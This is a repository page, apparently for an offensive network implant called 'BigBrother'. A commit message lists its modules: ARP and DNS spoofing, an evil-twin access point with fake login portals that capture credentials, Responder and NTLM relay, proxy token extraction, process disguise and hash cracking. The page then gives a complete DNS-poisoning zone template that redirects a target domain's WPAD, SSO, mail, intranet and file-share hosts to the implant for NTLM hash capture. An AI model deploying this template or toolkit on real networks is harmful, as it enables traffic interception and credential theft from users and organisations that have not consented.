n0mad1k
ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
50 lines
1.5 KiB
Django/Jinja
50 lines
1.5 KiB
Django/Jinja
# BigBrother DNS Zone — Selective Redirection
|
|
#
|
|
# Jinja2 template for targeted DNS poisoning. Render with:
|
|
# implant_ip: IP address to redirect to
|
|
# target_domain: Primary target domain (e.g., "corp.local")
|
|
# extra_domains: Optional list of additional domains
|
|
#
|
|
# Format: domain target_ip
|
|
# Lines starting with # are ignored.
|
|
#
|
|
# Usage:
|
|
# from jinja2 import Template
|
|
# rendered = Template(open("selective.zone.j2").read()).render(
|
|
# implant_ip="10.0.0.0",
|
|
# target_domain="corp.local",
|
|
# extra_domains=["intranet.company.com", "vpn.company.com"]
|
|
# )
|
|
|
|
# WPAD — forces proxy autoconfiguration to implant (NTLM capture)
|
|
wpad.{{ target_domain }} {{ implant_ip }}
|
|
wpad {{ implant_ip }}
|
|
|
|
# Internal authentication endpoints
|
|
login.{{ target_domain }} {{ implant_ip }}
|
|
auth.{{ target_domain }} {{ implant_ip }}
|
|
sso.{{ target_domain }} {{ implant_ip }}
|
|
adfs.{{ target_domain }} {{ implant_ip }}
|
|
|
|
# Exchange / mail
|
|
autodiscover.{{ target_domain }} {{ implant_ip }}
|
|
mail.{{ target_domain }} {{ implant_ip }}
|
|
owa.{{ target_domain }} {{ implant_ip }}
|
|
|
|
# SharePoint / intranet
|
|
intranet.{{ target_domain }} {{ implant_ip }}
|
|
sharepoint.{{ target_domain }} {{ implant_ip }}
|
|
portal.{{ target_domain }} {{ implant_ip }}
|
|
|
|
# File shares (for hash capture)
|
|
files.{{ target_domain }} {{ implant_ip }}
|
|
nas.{{ target_domain }} {{ implant_ip }}
|
|
dfs.{{ target_domain }} {{ implant_ip }}
|
|
|
|
{% if extra_domains is defined %}
|
|
# Additional targeted domains
|
|
{% for domain in extra_domains %}
|
|
{{ domain }} {{ implant_ip }}
|
|
{% endfor %}
|
|
{% endif %}
|